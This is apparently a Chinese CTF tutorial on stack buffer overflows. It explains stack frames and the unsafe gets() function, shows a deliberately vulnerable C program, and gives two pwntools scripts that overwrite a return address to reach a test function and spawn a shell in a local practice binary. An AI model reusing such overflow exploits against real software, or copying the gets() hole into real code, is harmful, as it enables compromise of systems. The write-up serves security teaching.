在国内的CTF比赛中，PWN题最常见考点就是缓冲区溢出漏洞，而缓冲区溢出代表就是栈溢出漏洞。后面斗哥将带来栈溢出的解题方法。

0x01 基础知识

栈是一种先进后出的数据结构，从高地址向低地址增长的内存结构。

函数调用栈是指程序运行时内存一段连续的区域，用来保存函数运行时的状态信息，包括函数参数与局部变量等，是系统栈的一部分。

在一次函数调用中，函数调用栈中将被依次压入：函数实参、返回地址、EBP。如果函数有局部变量，接下来就在栈中开辟相应的空间以构造变量。

ESP 称为栈顶指针，用来指示当前栈帧的顶部。

EBP 称为栈基址指针，用来指示当前栈帧的底部

0x02 漏洞原理

栈溢出漏洞是由于使用了不安全的函数，如C中的 read(fd, buf, nbytes)、gets(s)等，通过构造特定的数据使得栈溢出，从而导致程序的执行流程被控制。当程序代码如下时：

int main(int argc, char **argv) {
  char s[12];
  gets(s);
  return 0;
}

栈空间如下：

当构造变量char s[12]时，系统就在栈中给s开辟栈空间，可gets(s)函数未限制输入字符长度，可以构造大量的数据来超出变量的空间从而造成溢出，覆盖到s以上的栈空间。

0x03 解题步骤

例举一道栈溢出的PWN题，根据解题步骤来解答。

1 、逆向工程：

将PWN题拖入IDA，点击程序入口函数。按F5逆向main函数，查看对应的C伪代码。main函数调用vulnerable()函数。

点击进入vulnerable()函数并F5逆向。

vulnerable()函数中调用了gets()和puts()函数，而程序的逻辑就运行main函数和vulnerable函数。vulnerable函数功能：输入字符串，输出字符串程序中主要函数有内置行数：gets、puts、system自定义函数：main、test、success

2 、分析代码：

进行逆向工程拿到C伪代码，代码大致如下：

#include <stdio.h>
#include <string.h>
void success() { 
    puts("You Hava already controlled it.");
    system("/bin/sh");
 }
void test() {
    puts("Connection Successful.");
} 
void vulnerable() {
  char s[12];
  gets(s);
  puts(s);
  return;
}
int main(int argc, char **argv) {
  vulnerable();
  return 0;
}

gets() 是一个危险函数，因为它不检查输入字符串的长度，而是以回车来判断是否输入结束，所以很容易导致栈溢出。

3 、漏洞利用：

查看程序的保护机制：

程序在无任何保护的情况下进行解题：

输入s的值溢出到返回地址，将返回地址替换成text函数的起始地址。

查看text函数的起始地址。

EBP与EBP的距离14H，而栈中的EBP占栈内存4H，所以要覆盖到放回地址需要18H。

编写脚本如下：

from pwn import *
sh = process('./Ezreal1')
success_addr = 0x080491DE

payload = 'a' * 0x18 + p32(success_addr)
print p32(success_addr)

sh.sendline(payload)

sh.interactive()

利用脚本后的栈结构如下：

所以当函数调用完毕后，执行返回地址时将执行text函数。运行脚本，成功运行text函数：

4 、getshell：

分析代码发现程序中有getshell函数，这时就不需要构造shellcode，直接溢出返回地址，让程序执行此函数。

查看success函数地址：

脚本如下：

##!/usr/bin/env python
from pwn import *
sh = process('./Ezreal1')
success_addr = 0x080491A2

payload = 'a' * 0x18 + p32(success_addr)
print p32(success_addr)

sh.sendline(payload)

sh.interactive()

运行脚本，成功拿到shell：

0x04 小小总结

这篇文章斗哥主要简单的介绍了栈的基本结构，以及在程序未开启任何保护的情况下，该如何利用漏洞。下期斗哥将会介绍在程序开启不同栈保护机制要如何利用漏洞。